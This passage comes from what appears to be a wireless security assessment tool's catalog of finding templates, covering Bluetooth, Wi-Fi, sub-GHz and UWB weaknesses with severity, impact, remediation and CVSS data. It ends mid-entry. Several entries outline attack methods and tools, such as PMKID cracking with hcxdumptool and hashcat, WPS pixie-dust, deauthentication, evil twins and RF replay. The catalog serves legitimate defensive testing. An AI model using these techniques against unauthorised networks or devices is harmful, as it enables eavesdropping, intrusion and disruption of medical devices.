MEDIUM GB-BT-012 — Bluetooth ECDH Public Key Not Validated (CVE-2018-5383)
Description: The pairing stack does not validate the peer's ECDH public key (Y-coordinate) during Secure Simple Pairing / LE Secure Connections, allowing a fixed-coordinate invalid-curve attack.
Impact: An in-range MITM present during pairing can force the shared secret into a small subgroup and recover the session key (~50% per attempt, retryable), fully compromising the session.
Remediation: Update to post-2018 firmware/OS that mandates ECDH public-key on-curve validation.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH GB-BT-013 — KNOB — Bluetooth Encryption Key Entropy Downgrade (CVE-2019-9506)
Description: The BR/EDR encryption key-entropy negotiation (LMP) is not integrity-protected, letting a MITM force both devices to a 1-byte (8-bit) key.
Impact: The reduced-entropy key is brute-forced in real time, allowing an in-range attacker with no pairing or user interaction to decrypt and inject traffic on the link.
Remediation: Patch the host to enforce a minimum encryption key entropy (>=7 octets BR/EDR, 16 for LESC) and abort shorter negotiations.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH GB-BT-014 — BLUFFS — Bluetooth Forward/Future Secrecy Weakness (CVE-2023-24023)
Description: Weaknesses in BR/EDR session-key derivation (Core Spec 4.2-5.4) permit unilateral, repeatable session-key derivation, breaking forward and future secrecy; combined with key-length downgrade it enables MITM and impersonation across sessions.
Impact: An in-range attacker can force reuse of a weak session key, decrypting captured traffic and impersonating a device across multiple sessions.
Remediation: Reject low negotiated key lengths, adopt the SIG key-derivation fix, and operate in Secure Connections Only mode.
HIGH GB-BT-015 — BIAS — Bluetooth Impersonation (CVE-2020-10135)
Description: BR/EDR authentication does not mandate mutual authentication; via role-switch and SC-to-legacy downgrade an attacker impersonates a previously-paired master or slave without possessing the link key.
Impact: An attacker in range who knows the victim BD_ADDR can impersonate a trusted, previously-bonded device without any key material.
Remediation: Enable Secure Connections Only mode and require mutual authentication in both directions.
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
MEDIUM GB-BT-016 — BLURtooth — Cross-Transport Key Overwrite (CVE-2020-15802)
Description: In dual-mode devices supporting Cross-Transport Key Derivation (spec 4.2/5.0 before 5.1), an unauthenticated attacker in range can trigger CTKD to overwrite an authenticated bonding key with an unauthenticated or lower-entropy one.
Impact: The paired relationship can be silently weakened without user interaction, enabling MITM on a link the user believes is securely bonded.
Remediation: Apply BT 5.1 CTKD restrictions that forbid overwriting authenticated keys or downgrading key strength.
HIGH GB-BT-017 — BLESA — BLE Reconnection Spoofing (CVE-2020-9770)
Description: BLE reconnection authentication is optional and often not enforced by the client, so a central accepts spoofed data from an impersonated peripheral without re-authentication after the first bonding.
Impact: An attacker spoofing the peripheral BD_ADDR can feed forged data (e.g. medical telemetry) to the consuming device on reconnect, with no user interaction.
Remediation: Enforce mandatory authenticated and encrypted reconnection before accepting any data from a previously-bonded peer.
HIGH GB-BT-018 — Unauthenticated GATT Characteristic Read
Description: One or more GATT characteristics returned data over an unpaired, unencrypted link (ATT Read Response with a value and no 0x05/0x0F/0x08 security error).
Impact: Any listener in range can read the exposed data with no credential; where it is PHI, telemetry, or configuration the confidentiality impact is severe.
Remediation: Set encryption/authentication-required permissions on sensitive characteristics; gate PHI behind LESC-authenticated bonding.
OWASP API: API1:2023 Broken Object Level Authorization
NIST 800-53: AC-3, SC-8
CRITICAL GB-BT-019 — Unauthenticated GATT Characteristic Write
Description: A GATT write to a device characteristic succeeded over an unpaired, unencrypted link (ATT Write Response with no security error).
Impact: Unauthenticated write access permits configuration change, actuation, factory reset, or firmware/OTA abuse with no credential — the highest-impact GATT finding, and safety-critical on a medical device.
Remediation: Require an authenticated, encrypted, bonded link (LESC + MITM) for all writes; add application-layer authorization (signed / challenge-response commands) to control points and OTA.
Effort: Moderate
OWASP API: API5:2023 Broken Function Level Authorization
NIST 800-53: AC-3, SI-10, SC-8
HIGH GB-BT-020 — Unauthenticated GATT Notification/Indication Stream
Description: On an unpaired link the device granted a large ATT MTU and started notifications/indications after a CCCD write, streaming data without authentication.
Impact: Sensitive telemetry or PHI is exposed to any in-range listener without pairing; a large pre-auth MTU on a sensitive stream aggravates the leak.
Remediation: Require encryption on the CCCD and its source characteristic; do not start notifications before authenticated bonding.
NIST 800-53: AC-3, SC-8
HIGH GB-BT-021 — SweynTooth BLE SoC Vulnerability Surface
Description: The device's BLE System-on-Chip belongs to a vendor/part with known SweynTooth firmware vulnerabilities in the Link Layer, L2CAP, SMP or ATT (crash, deadlock, or the Telink Zero-LTK Installation security bypass).
Impact: Depending on the SoC and SDK version, an in-range attacker can crash or deadlock the device (DoS, may require power-cycle) or, on affected Telink parts, install an all-zero LTK for arbitrary read/write — safety-relevant per FDA/CISA advisory ICS-ALERT-20-063-01.
Remediation: Update the BLE controller firmware/SDK to a patched release; where the SoC is end-of-life, apply architectural mitigations (restrict pairing, disable unused profiles, physical/RF controls).
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-022 — BrakTooth BR/EDR SoC Vulnerability Surface
Description: The device's BR/EDR System-on-Chip belongs to a vendor/part with known BrakTooth LMP/Baseband vulnerabilities (V1-V16), ranging from crashes and deadlocks to Espressif ESP32 arbitrary code execution.
Impact: An in-range attacker can crash, deadlock, or (on ESP32) execute code on the controller; several affected parts (e.g. TI CC2564C, Qualcomm CSR8811/8510) were 'no fix planned', leaving only architectural mitigation.
Remediation: Update the Bluetooth controller firmware to a patched release; for end-of-life SoCs, disable unused profiles, restrict connectability, and apply physical/RF controls.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-023 — BleedingTooth Linux BlueZ Kernel Vulnerability Surface
Description: The Linux host behind the Bluetooth controller runs an unpatched BlueZ kernel (< 5.9), exposing the BleedingTooth family: BadKarma (L2CAP heap type-confusion), BadChoice (info leak), BadVibes (BLE ext-advertising heap overflow).
Impact: BadKarma chains to zero-click kernel remote code execution over BR/EDR from radio range; BadVibes needs only that the victim is scanning, with no BD_ADDR required.
Remediation: Patch the kernel to 5.9+ (or vendor backport); set CONFIG_BT_HS=n to remove the A2MP path; rfkill unused radios.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
HIGH GB-BT-024 — BlueBorne Bluetooth Stack Vulnerability Surface
Description: The host Bluetooth stack (Linux BlueZ, Android, Windows, or old iOS) predates the 2017 BlueBorne patches, exposing SDP/BNEP/L2CAP flaws that require only that Bluetooth is powered on.
Impact: An attacker in range can achieve remote code execution or MITM with no pairing and no user interaction; 'non-discoverable' is not a mitigation because the address is recoverable by sniffing.
Remediation: Apply the 2017-09+ vendor security patches; disable Bluetooth when unused.
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
INFO GB-BT-025 — LE Secure Connections Confirmed (Passively Uncrackable)
Description: The device completed LE Secure Connections pairing (ECDH P-256), confirmed on the wire by the Pairing Public Key / DHKey Check PDUs and/or a crackle result of 'LE Secure Connections'.
Impact: Positive assurance that the session key never crosses the air and the pairing is not passively crackable; residual risk shifts to implementation flaws (static passkey, debug keys, downgrade acceptance).
Remediation: Maintain LESC; additionally verify per-pairing random passkeys, no debug keys, and rejection of downgrade offers.
MEDIUM GB-BT-026 — BlueSmack / L2CAP Echo Denial of Service
Description: The device degraded or reset under a bounded L2CAP echo / l2ping flood (BlueSmack), indicating it does not bound or rate-limit oversized echo requests.
Impact: An in-range attacker who knows the BD_ADDR can hang or reboot the device, denying service — critical for a safety or clinical device.
Remediation: Patch the stack for input-length validation; rate-limit/throttle L2CAP echo and connection requests; make the radio non-connectable when unused.
NIST 800-53: SC-5
MEDIUM GB-BT-027 — Bluetooth Connection Exhaustion / l2ping Flood
Description: Rapid L2CAP/ACL connection opens or a sustained l2ping flood exhausted the device's connection slots, causing it to refuse or reset connections.
Impact: An in-range attacker can deny service to legitimate centrals by consuming all available connection resources.
Remediation: Rate-limit inbound connection requests, cap concurrent connections, and recover gracefully; make the radio non-connectable when idle.
NIST 800-53: SC-5
HIGH GB-BT-028 — Bluetooth Link-Layer Malformed-PDU Crash
Description: The device crashed or deadlocked when sent a malformed Link-Layer / HCI PDU (the generic class covering SweynTooth/BrakTooth-style firmware defects and Android BlueFrag CVE-2020-0022).
Impact: A malformed advertising/connect/control PDU — often broadcast with no BD_ADDR required — crashes the target and can escalate to remote code execution on vulnerable stacks.
Remediation: Update controller firmware and host stack (PDU length/format validation, buffer bounding); disable unused profiles; rate-limit.
INFO GB-BT-029 — Bluetooth Testing SKIPPED — No Adapter or Sniffer Available
Description: No Bluetooth adapter or sniffer was selected/available for the instance, so Bluetooth/BLE testing was not performed.
Impact: The Bluetooth attack surface of the device was not assessed; the absence of findings does not indicate the interface is secure.
Remediation: Attach a BlueZ adapter for active GATT/pairing work, or flash a sniffer board via Quiver (Sniffle / nRF Sniffer / ButteRFly / Ubertooth) for passive capture, then re-run the module.
INFO GB-WIFI-001 — Wi-Fi Network Discovered
Description: An 802.11 access point was detected during zero-knowledge scanning, along with its beacon/RSN metadata (SSID, BSSID, channel, privacy/cipher/AKM suites, associated clients).
Impact: Confirms a live wireless attack surface and provides the BSSID, channel and encryption details needed to target every subsequent per-AP encryption, WPS, PMKID/handshake, PMF and evil-twin test.
Remediation: Reconcile every discovered SSID/BSSID against the authorised wireless inventory; disable or shield any access point or wireless interface that is not required for the device under test.
Effort: Easy
MITRE ATT&CK: T1595 (Reconnaissance)
NIST 800-53: CM-8, SI-4
PCI DSS 4: 11.2.1
HIGH GB-WIFI-002 — Open Wi-Fi Network — No Encryption
Description: The access point provides no link-layer encryption (open authentication). All frames to and from associated devices are transmitted in cleartext.
Impact: Any listener in radio range can passively read all traffic and actively inject or modify frames, capturing PHI/telemetry and hijacking sessions without any credential.
Remediation: Deploy WPA3-SAE (or at minimum WPA2-CCMP/Enterprise) with 802.11w PMF required; never operate a medical or clinical device on an open SSID.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-8, SC-13, AC-18
PCI DSS 4: 4.2.1, 2.2.7
CRITICAL GB-WIFI-003 — WEP Encryption in Use
Description: The access point uses WEP, a cryptographically broken cipher whose RC4/IV key can be recovered from captured traffic using statistical (PTW), chopchop, or fragmentation attacks.
Impact: An attacker can recover the WEP key in minutes from ordinary captured traffic, then decrypt all traffic and join the network — a total loss of confidentiality, integrity, and access control.
Remediation: Immediately replace WEP with WPA3-SAE (or WPA2-CCMP with a strong passphrase) and 802.11w PMF; WEP has no secure configuration and must be decommissioned.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1040 (Credential Access)
NIST 800-53: SC-13, SC-8, AC-18
PCI DSS 4: 4.2.1, 2.2.7
MEDIUM GB-WIFI-004 — WPA/WPA2-PSK Handshake Capturable
Description: The WPA/WPA2-PSK 4-way EAPOL handshake was captured (passively, or after a bounded deauth), providing a verifiable offline oracle for the pre-shared key.
Impact: The captured handshake can be attacked offline at full GPU speed with dictionaries and rules; a weak, default, or reused passphrase is recovered, granting full access to the wireless network.
Remediation: Use a long (>15 char) random WPA passphrase or migrate to WPA3-SAE, which resists offline handshake cracking; require 802.11w PMF to raise the cost of forcing a re-handshake.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-13, AC-18
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-005 — WPA PMKID Capturable (Clientless)
Description: An RSN PMKID was solicited and captured from the AP with a single association request and no connected client (hcxdumptool -> hcxpcapngtool, hashcat mode 22000).
Impact: Because the PMKID is derived from the PMK, the WPA/WPA2-PSK passphrase can be recovered offline without ever capturing a client handshake; a weak or default passphrase is trivially cracked, granting full network access.
Remediation: Use a long random WPA passphrase or migrate to WPA3-SAE (not PMKID-crackable); disable PMKID/OKC caching on the AP where the platform allows.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110.002 (Credential Access)
NIST 800-53: IA-5, SC-13, AC-18
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-006 — WPS Enabled
Description: The access point advertises Wi-Fi Protected Setup. The 8-digit registrar PIN is validated in two independently-checkable halves, collapsing the effective keyspace to roughly 11,000 attempts.
Impact: An attacker can brute-force the WPS PIN online (hours) and recover the WPA passphrase regardless of its strength, unless the AP enforces a robust failed-attempt lockout.
Remediation: Disable WPS entirely (external-registrar and PIN methods). If push-button is operationally required, ensure the PIN method is off and an AP-side lockout throttles failed registrar attempts.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-18, IA-2, CM-7
PCI DSS 4: 2.2.7, 8.3.6
HIGH GB-WIFI-007 — WPS Pixie-Dust Vulnerable
Description: The WPS registrar generates predictable/low-entropy E-S1/E-S2 Diffie-Hellman nonces, allowing the WPS PIN to be recovered offline from a single M1-M3 exchange (the pixie-dust attack).
Impact: The WPS PIN — and therefore the WPA passphrase — is recovered offline in seconds with no online guessing, granting full network access regardless of passphrase strength.
Remediation: Disable WPS entirely; the underlying nonce-generation weakness cannot be configured away. Rotate the WPA passphrase after disabling, as it must be considered compromised.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1110 (Credential Access)
NIST 800-53: AC-18, IA-2, SC-13
PCI DSS 4: 2.2.7, 8.3.6
MEDIUM GB-WIFI-008 — Missing 802.11w Management Frame Protection
Description: The network does not require 802.11w Management Frame Protection (the MFPR bit is clear in the RSN capabilities), so deauthentication and disassociation frames are unauthenticated.
Impact: An in-range attacker can forge management frames to evict clients on demand (availability loss) and force EAPOL re-handshakes for offline PSK cracking — a reliable DoS and handshake-harvesting primitive against a wireless-dependent device.
Remediation: Set Protected Management Frames to 'required' (802.11w MFPR) on the AP and device; WPA3-SAE mandates PMF. Where clients cannot support it, at minimum enable PMF-capable and prioritise a WPA3 migration.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5, AC-18, SC-8
PCI DSS 4: 2.2.7
MEDIUM GB-WIFI-009 — WPA3 Transition Mode Downgrade
Description: The AP advertises WPA3 in transition (mixed) mode, offering both SAE (WPA3) and PSK (WPA2) AKM suites on the same SSID.
Impact: A rogue AP advertising only WPA2-PSK forces a supplicant to fall back to the crackable WPA2 4-way handshake (Dragonblood transition-mode downgrade); the SAE upgrade provides no protection while WPA2 fallback is accepted.
Remediation: Move to WPA3-only (SAE) mode with PMF required once all clients support it; disable the WPA2 transition fallback for sensitive networks so a downgraded handshake cannot be solicited.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: SC-13, AC-18, SC-8
PCI DSS 4: 2.2.7, 4.2.1
HIGH GB-WIFI-010 — Rogue Access Point / Evil Twin Feasible
Description: The device under test associated with a rogue access point cloning the target SSID (optionally PMF-less / WPA2-only) instead of authenticating the genuine AP.
Impact: Without server-certificate validation, PMF, or mutually-authenticated association, an evil twin in range captures the device onto an attacker-controlled network to intercept and modify its traffic and harvest credentials (captive-portal or EAP relay).
Remediation: Require WPA3-SAE with PMF (mutual authentication), or for Enterprise validate the RADIUS server certificate and pin the CA on the client so a rogue AP cannot complete association.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access)
NIST 800-53: AC-18, IA-3, SC-8
PCI DSS 4: 11.2.1, 2.2.7
MEDIUM GB-WIFI-011 — Wi-Fi Deauthentication Denial of Service
Description: A bounded burst of forged deauthentication/disassociation frames disconnected the device under test from its network, confirming that unauthenticated management frames are honoured (no 802.11w PMF required).
Impact: Any in-range attacker can persistently deny the wireless-dependent device network connectivity by spoofing management frames — a serious availability risk for a medical or clinical device that relies on wireless data or control.
Remediation: Enable 802.11w Protected Management Frames as REQUIRED (mandatory under WPA3-SAE) so forged deauth/disassoc frames are rejected; add wired or failover connectivity for safety-critical functions.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T1498 (Impact)
NIST 800-53: SC-5, AC-18
PCI DSS 4: 2.2.7
INFO GB-WIFI-012 — Wi-Fi Testing SKIPPED — No Wireless Adapter or Toolkit Available
Description: 802.11 testing was not performed for this instance because no monitor-mode adapter was selected, a non-capture device (e.g. WiFi Duck) was selected, or the aircrack-ng suite was not installed.
Impact: The device's wireless attack surface was not assessed; open/WEP encryption, WPS/pixie-dust, capturable handshakes/PMKID, missing PMF, and evil-twin exposure remain unverified until the module is re-run with proper hardware and tooling.
Remediation: Attach an Alfa AWUS036ACM/NEH/H (or drive the WiFi Pineapple Mark VII) and install the aircrack-ng suite (plus hcxdumptool/hcxtools, reaver, iw), then re-run the WiFi module to complete 802.11 coverage.
Effort: Easy
NIST 800-53: CA-8
PCI DSS 4: 11.2.1
INFO GB-RF-001 — Sub-GHz Signal Detected
Description: An active sub-GHz (300-928 MHz) transmission from the device under test was detected and/or decoded during a zero-knowledge spectrum survey.
Impact: The presence of a sub-GHz radio link expands the device's remotely-reachable attack surface; a listener in RF range can begin characterising and targeting the channel.
Remediation: Inventory the emitter, band, and modulation; determine whether the transmission is in scope and whether it carries device data or control.
Effort: Easy
MITRE ATT&CK: T0887 (Collection)
MEDIUM GB-RF-002 — Unencrypted Sub-GHz Telemetry Decoded
Description: rtl_433 decoded the device's sub-GHz sensor/telemetry frames in the clear, recovering payload fields with no key, which proves the link carries device data with no transport encryption.
Impact: Any passive attacker in radio range can read, log, and correlate the device's telemetry over time, disclosing operational state and potentially sensitive (PHI/asset) data without ever touching the device.
Remediation: Encrypt the RF payload with an authenticated cipher, or carry sensitive telemetry over an authenticated encrypted channel; never transmit patient or asset data as cleartext RF.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
MITRE ATT&CK: T0887 (Collection)
HIGH GB-RF-003 — Fixed-Code Sub-GHz Remote — Replayable
Description: A fixed-code (static OOK/ASK) sub-GHz remote or command protocol was decoded, meaning the device transmits the identical code on every actuation with no changing element.
Impact: A single captured frame can be re-transmitted verbatim to reproduce the command (garage/gate/relay/keyfob class); the captured static code IS the credential, so anyone who records one press controls the device.
Remediation: Replace fixed-code remotes with a rolling-code scheme or, preferably, an authenticated challenge-response link with anti-replay counters; treat the transmitted code as a credential, not an identifier.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0831 (Impair Process Control)
LOW GB-RF-004 — Rolling-Code Sub-GHz Remote Detected
Description: A rolling-code (KeeLoq/HCS/Security+ class) sub-GHz remote was detected — a positive control that defeats naive single-frame replay.
Impact: Rolling codes still fall to jam-and-capture ('RollJam') and, for some legacy KeeLoq/fixed-seed variants, to key/seed-recovery attacks, so the control is not absolute and should be validated for counter-window and cipher strength.
Remediation: Keep firmware current, enforce a tight rolling-counter resync window, prefer AES-based rolling schemes over legacy KeeLoq, and consider bidirectional authenticated pairing.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N
MITRE ATT&CK: T0831 (Impair Process Control)
HIGH GB-RF-005 — Sub-GHz Replay Attack Feasible
Description: A captured sub-GHz command was re-transmitted (operator-confirmed, benign) and the device under test acted on it, confirming a working replay attack with no rolling counter, nonce, or authentication preventing frame reuse.
Impact: An attacker who records one legitimate transmission can reproduce the command at will — unlocking, actuating, or otherwise controlling the device remotely without any credential.
Remediation: Adopt authenticated, anti-replay commanding (rolling counter plus MAC, or challenge-response); reject any frame whose counter or nonce has already been observed.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0831 (Impair Process Control)
HIGH GB-RF-006 — Unauthenticated Sub-GHz Command Channel (OOK/FSK)
Description: The device's sub-GHz control channel accepts commands with no authentication of the sender — the demodulated OOK/FSK frame is a bare command carrying no signature or nonce.
Impact: Any attacker able to transmit on the band can craft and inject commands the device will act on, achieving unauthenticated remote control of the device's functions.
Remediation: Require signed/authenticated commands (HMAC or public-key) with a monotonic counter or nonce, and reject any unauthenticated or malformed frame at the receiver.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
MITRE ATT&CK: T0860 (Initial Access)
MEDIUM GB-RF-007 — Missing Message Authentication on Sub-GHz Link
Description: No message-integrity or authentication field (MAC/signature) was observed on the device's sub-GHz frames, so their contents cannot be verified as genuine or unmodified.
Impact: Frame contents can be forged, altered, or replayed and the device cannot tell the difference, undermining the trustworthiness of every command and telemetry value on the link.
Remediation: Add per-message authentication (an AEAD tag or digital signature) and reject frames that fail integrity verification.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
MITRE ATT&CK: T0860 (Initial Access)
MEDIUM GB-RF-008 — Sub-GHz Jamming Susceptibility
Description: Under a controlled, operator-observed bench test the device's sub-GHz link was disrupted by narrowband jamming, denying legitimate commands and telemetry.
Impact: Low-power ISM control channels have no inherent jamming resistance, so an attacker can deny the device's RF link (and, via jam-and-capture, harvest rolling codes); if the channel is safety-critical the availability loss may have physical consequences.
Remediation: Add loss-of-link / jamming detection with a defined fail-safe state, use frequency agility or a diverse secondary channel for safety-critical control, and alert on sustained RF interference.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
MITRE ATT&CK: T0814 (Inhibit Response Function)
INFO GB-RF-009 — Sub-GHz Testing SKIPPED — No SDR/Radio Hardware Available
Description: No sub-GHz radio or host CLI toolchain was available for this instance, so 300-928 MHz RF testing was not performed and this interface was not assessed.
Impact: The device's sub-GHz attack surface remains unassessed; fixed-code, replay, cleartext-telemetry, and jamming weaknesses cannot be ruled out until a radio is attached and the module re-run.
Remediation: Attach an RTL-SDR or HackRF for spectrum survey and rtl_433 decode, or a YARD Stick One / CatSniffer / Flipper Zero for capture-and-replay, then re-run the SubGHz module.
Effort: Easy
INFO GB-UWB-001 — UWB Device Detected
Description: A UWB (IEEE 802.15.4z / 802.15.4a) device was detected during passive capture, along with the frame types observed (blink, poll/response/final ranging) and its transmitted address.
Impact: Confirms a live UWB ranging/RTLS attack surface (asset-tracking tag/anchor or secure-access ranging peer) and provides the address and frame context needed to target subsequent ranging-security tests.
Remediation: Reconcile every discovered UWB anchor/tag against the authorised asset inventory; disable or shield UWB interfaces that are not required.
Effort: Easy
NIST 800-53: CM-8
INFO GB-UWB-002 — UWB Testing SKIPPED — No Sniffer or UWB Hardware Available
Description: Gearbox attempted UWB assessment but no UWB sniffer board was selected and no sniffer binary or capture file was available, so UWB testing was NOT performed.
Impact: No assurance can be given about the UWB ranging/RTLS interface — its secure-ranging posture is unknown until a sniffer is flashed (Heltec / DWM3001CDK / DWM3000EVB) or a DW3000/UCI capture is imported and the module is re-run.
Remediation: Flash a UWB sniffer via Quiver or import a DW3000/UCI capture, then re-run the UWB module to complete the assessment.
Effort: Easy
HIGH GB-UWB-003 — UWB Ranging Without Scrambled Timestamp Sequence (STS)
Description: The UWB ranging exchange does not carry a Scrambled Timestamp Sequence (STS mode 0 / disabled, or a legacy 802.15.4a device). STS is the IEEE 802.15.4z cryptographic PHY field that binds the ranging timestamp to a secret.
Impact: Without STS the time-of-flight measurement is unauthenticated and can be forged, so relay, replay and distance-reduction attacks against proximity-based access control or RTLS are not cryptographically prevented.
Remediation: Enable IEEE 802.15.4z HRP secure ranging with STS (FiRa OWR/PDoA or DS-TWR with STS) provisioned via a per-session key; disable legacy 802.15.4a ranging.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, SC-13, IA-9
HIGH GB-UWB-004 — Unauthenticated UWB Ranging Exchange
Description: Ranging frames are exchanged without cryptographic authentication of the timestamp, so a receiver cannot verify that a poll/response/final frame actually originated from the claimed peer at the measured distance.
Impact: Unauthenticated ranging is the root enabler of relay and distance-reduction attacks: any device can participate in or forge a ranging round, spoofing presence and distance for access control or asset tracking.
Remediation: Require STS-authenticated secure ranging and reject ranging rounds that omit or fail STS verification; bind the ranging result to an authenticated session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: IA-3, IA-9
HIGH GB-UWB-005 — UWB Ranging Susceptible to Distance-Reduction (Ghost Peak) Attack
Description: Without enforced STS integrity, an over-the-air adversary can inject an early cipher-guessed STS/preamble to make the ranging peer measure a shorter-than-actual distance (the 'Ghost Peak' attack, USENIX Security 2022, demonstrated on Apple U1, NXP SR040/SR150 and Qorvo DW3000).
Impact: Where UWB gates physical access or presence (secure entry, unlock-on-approach, RTLS geofencing), an attacker can appear 'in range' from outside the intended zone and defeat proximity-based security.
Remediation: Enforce STS with a minimum acceptable STS quality/figure-of-merit, reject ranging with low STS confidence, and add an application-layer distance bound and multi-anchor cross-check.
Effort: Significant
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
HIGH GB-UWB-006 — UWB Ranging Susceptible to Relay Attack
Description: An attacker relaying UWB ranging frames between a genuine tag and anchor can make a far peer appear in proximity. STS-based secure ranging binds the timing to a secret and is the defined mitigation; its absence leaves proximity guarantees unenforced.
Impact: Relay of the ranging exchange spoofs proximity for access control and RTLS, letting an attacker unlock/authorise or misplace a tracked asset from outside the intended range.
Remediation: Enable STS secure ranging and bind the ranging result to an authenticated session; never treat a UWB distance as trustworthy without STS verification.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
HIGH GB-UWB-007 — Replay of UWB Ranging Frames Accepted
Description: Previously-captured UWB ranging frames (poll/response/final or blink) were replayed and accepted by the ranging peer, showing the exchange lacks a per-session freshness guarantee (fresh STS / nonce / counter).
Impact: Replayable ranging enables spoofed presence and distance in RTLS and access-control use — a recorded exchange can be reused to re-assert proximity at will.
Remediation: Derive a fresh STS per ranging session from a monotonic counter/nonce and reject frames whose STS does not match the current session.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H
NIST 800-53: SC-8, IA-9
MEDIUM GB-UWB-008 — Cleartext UWB Positioning or Payload Data
Description: Positioning data (measured distance/coordinates) or a MAC-layer payload was observed in the clear in the UWB capture, with no application-layer encryption of the ranging result or asset identifier.
Impact: Cleartext RTLS position data discloses the location of tracked assets (and, in a clinical setting, potentially staff or patients) to any passive UWB listener, defeating location privacy.
Remediation: Encrypt and authenticate the ranging-result and any MAC payload at the application layer; do not broadcast resolved positions or asset identifiers in cleartext.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: SC-8
PCI DSS 4: 4.2.1
MEDIUM GB-UWB-009 — UWB Static or Non-Rotating Ranging Key (STS Reuse)
Description: STS is present but appears to be derived from a static or reused seed/key rather than rotated per ranging session (observable as a repeating STS pattern), or a fixed STS_KEY/STS_IV is shipped in firmware.
Impact: A predictable or repeating STS erodes the integrity guarantee it is meant to provide, moving the system back toward replay and distance-manipulation exposure.
Remediation: Provision a per-session STS from a rotating key (FiRa dynamic STS / per-session key derivation); never ship a fixed STS_KEY/STS_IV in firmware.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
NIST 800-53: SC-12, IA-5
MEDIUM GB-UWB-010 — UWB Ranging Susceptible to Jamming / Denial of Service
Description: Under a co-channel UWB jammer (UWBAD-class attack with COTS chips) the DUT's ranging was denied, confirming a denial-of-service exposure of the ranging link.
Impact: Loss of ranging can drop safety/asset-tracking (RTLS goes blind) or push a UWB access-control system into an unsafe fail state (fail-open or fail-closed).
Remediation: Define a safe fail state on ranging loss, add jam/interference detection and alerting, and avoid using UWB ranging as the sole gate for safety-critical access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
NIST 800-53: SC-5, SI-4
MEDIUM GB-UWB-011 — UWB Legacy (Pre-802.15.4z) Ranging — No Secure Ranging Support
Description: The device supports only pre-802.15.4z (802.15.4a HRP) ranging, which has no secure-ranging (STS) capability at all and cannot be made secure by configuration.
Impact: A legacy-only UWB part offers no cryptographic protection for ranging, so any security-relevant proximity/distance use is inherently spoofable and the part must be replaced rather than reconfigured.
